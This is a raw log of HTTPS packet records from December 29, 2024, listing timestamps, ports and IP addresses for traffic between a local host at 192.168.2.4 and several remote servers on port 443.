Dec 29, 2024 13:55:52.139287949 CET	50771	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.139303923 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:52.139429092 CET	50738	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:52.139460087 CET	443	50738	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:52.143915892 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.143930912 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:52.144001007 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.144427061 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.144439936 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:52.146837950 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.146868944 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:52.146925926 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.147114992 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:52.147126913 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:52.279979944 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:52.280013084 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:52.280107975 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:52.280316114 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:52.280324936 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:52.442451954 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.442682981 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.442703009 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.443782091 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.443851948 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.444883108 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.444950104 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.445127010 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.445137024 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.482706070 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.483278036 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.483308077 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.484333038 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.484390020 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.484894037 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.484961033 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.594492912 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.626482964 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.626511097 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.834477901 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:52.979454041 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.979536057 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:52.980408907 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:53.069729090 CET	50760	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:53.069753885 CET	443	50760	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:53.071715117 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:53.119342089 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:53.501240015 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:53.501313925 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:53.501477003 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:53.513366938 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.513637066 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.513657093 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.514560938 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.514631987 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.514962912 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.515022993 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.515201092 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.515208960 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.517469883 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:53.517508030 CET	443	50761	76.223.111.18	192.168.2.4
Dec 29, 2024 13:55:53.517520905 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:53.517637968 CET	50761	443	192.168.2.4	76.223.111.18
Dec 29, 2024 13:55:53.518825054 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.518851995 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.519002914 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.519268036 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.519280910 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.557558060 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.557832003 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.557864904 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.558224916 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.558815002 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.558887005 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.559077024 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.603332043 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.603636980 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.605962038 CET	50771	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.605978966 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.606343985 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.608433008 CET	50771	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.608526945 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.608728886 CET	50771	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.651326895 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:53.678390026 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:53.685039043 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:53.685060024 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:53.686141014 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:53.686220884 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:53.686235905 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:53.686285019 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:53.694242001 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.694267988 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:53.694421053 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.694698095 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.694710970 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:53.696497917 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:53.698295116 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:53.698409081 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:53.699070930 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:53.699093103 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:53.701685905 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.701704979 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:53.701833010 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.702145100 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.702168941 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:53.702230930 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.702569008 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.702581882 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:53.702716112 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:53.702732086 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:53.742980003 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:53.743351936 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:53.743396997 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:53.744476080 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:53.744549990 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:53.748217106 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:53.748295069 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:53.748393059 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:53.795325041 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:53.824501038 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:53.824513912 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:53.824553967 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:53.935498953 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:54.031543970 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.031637907 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.032591105 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.034219027 CET	50774	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.034238100 CET	443	50774	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.084820032 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.084902048 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.084945917 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.086822987 CET	50773	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.086846113 CET	443	50773	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.134752035 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:54.134816885 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:54.134859085 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:54.135916948 CET	50767	443	192.168.2.4	52.43.7.224
Dec 29, 2024 13:55:54.135935068 CET	443	50767	52.43.7.224	192.168.2.4
Dec 29, 2024 13:55:54.140932083 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.141004086 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.141053915 CET	50771	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.141699076 CET	50771	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.141717911 CET	443	50771	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.160371065 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.160408020 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.160485029 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.161197901 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.161210060 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.165905952 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.165967941 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.166030884 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.166301012 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.166357994 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.258608103 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:54.258686066 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:54.258732080 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:54.263325930 CET	50775	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:54.263343096 CET	443	50775	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:54.321415901 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:54.321464062 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:54.321518898 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:54.321928024 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:54.321938038 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:54.678014994 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.678051949 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:54.678108931 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.678376913 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.678389072 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:54.680244923 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.680284023 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:54.680337906 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.680545092 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.680556059 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:54.683084965 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.683099031 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:54.683151960 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.683403969 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:54.683414936 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:54.980374098 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.980647087 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.980680943 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.981065035 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.981708050 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:54.981800079 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:54.982156038 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.023339033 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.123087883 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.123471022 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.123498917 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.129256964 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.129371881 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.129962921 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.129962921 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.129987955 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.130201101 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.157687902 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.157928944 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.157944918 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.158298969 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.160029888 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.160099983 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.160341024 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.162678003 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.162914038 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.162945986 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.163342953 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.163727999 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.163832903 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.163949013 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.203327894 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.207335949 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.295510054 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.295540094 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.327464104 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.407979965 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.517398119 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.517496109 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.519066095 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.519066095 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.534214020 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.535491943 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.535525084 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.535887957 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.536472082 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.536535978 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.536786079 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.583333015 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.598511934 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.620491028 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.621507883 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.621531963 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.621929884 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.622474909 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.622545958 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.622751951 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.652451038 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.652539015 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.652697086 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.653779030 CET	50791	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.653804064 CET	443	50791	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.655035973 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.655070066 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.657130957 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.657130957 CET	50808	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.657160997 CET	443	50808	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.663331985 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:55.694562912 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.694648027 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.695099115 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.696218014 CET	50786	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.696234941 CET	443	50786	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.697972059 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.698070049 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.698673964 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.699290037 CET	50790	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:55.699306965 CET	443	50790	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:55.715552092 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:55.715787888 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:55.715807915 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:55.716156006 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:55.716588020 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:55.716588020 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:55.716598034 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:55.716660976 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:55.835464001 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:55.835900068 CET	50784	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:55.835923910 CET	443	50784	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.049436092 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.050843000 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.050868034 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.051871061 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.051973104 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.052436113 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.052436113 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.052444935 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.052489042 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.054085970 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.054164886 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.054217100 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:56.054842949 CET	50796	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:56.054860115 CET	443	50796	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.061538935 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.061573982 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.061702967 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.063010931 CET	50810	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.063021898 CET	443	50810	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.092550993 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.092828035 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.092842102 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.094379902 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.094465017 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.094837904 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.094923019 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.095026016 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.095033884 CET	443	50800	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.096317053 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.096582890 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.096592903 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.097649097 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.097698927 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.098130941 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.098203897 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.098392010 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.098406076 CET	443	50802	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.156279087 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.156368971 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.156431913 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:56.158710003 CET	50795	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:56.158740997 CET	443	50795	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.163239956 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.163279057 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.163367033 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.163788080 CET	50811	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.163800955 CET	443	50811	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.235580921 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.235630035 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.235743046 CET	50802	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.282464981 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.290541887 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:56.290632010 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:56.290863037 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:56.298544884 CET	50800	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.302218914 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:56.302267075 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:56.302532911 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:56.302813053 CET	50814	443	192.168.2.4	34.198.65.183
Dec 29, 2024 13:55:56.302824974 CET	443	50814	34.198.65.183	192.168.2.4
Dec 29, 2024 13:55:56.305143118 CET	50798	443	192.168.2.4	188.125.88.204
Dec 29, 2024 13:55:56.305167913 CET	443	50798	188.125.88.204	192.168.2.4
Dec 29, 2024 13:55:56.311091900 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:56.311136007 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.311189890 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:56.311419010 CET	50815	443	192.168.2.4	34.241.209.94
Dec 29, 2024 13:55:56.311434984 CET	443	50815	34.241.209.94	192.168.2.4
Dec 29, 2024 13:55:56.566692114 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.566782951 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.567047119 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.567594051 CET	50801	443	192.168.2.4	54.154.234.207
Dec 29, 2024 13:55:56.567617893 CET	443	50801	54.154.234.207	192.168.2.4
Dec 29, 2024 13:55:56.621618986 CET	443	50802	54.154.234.207	192.168.2.4
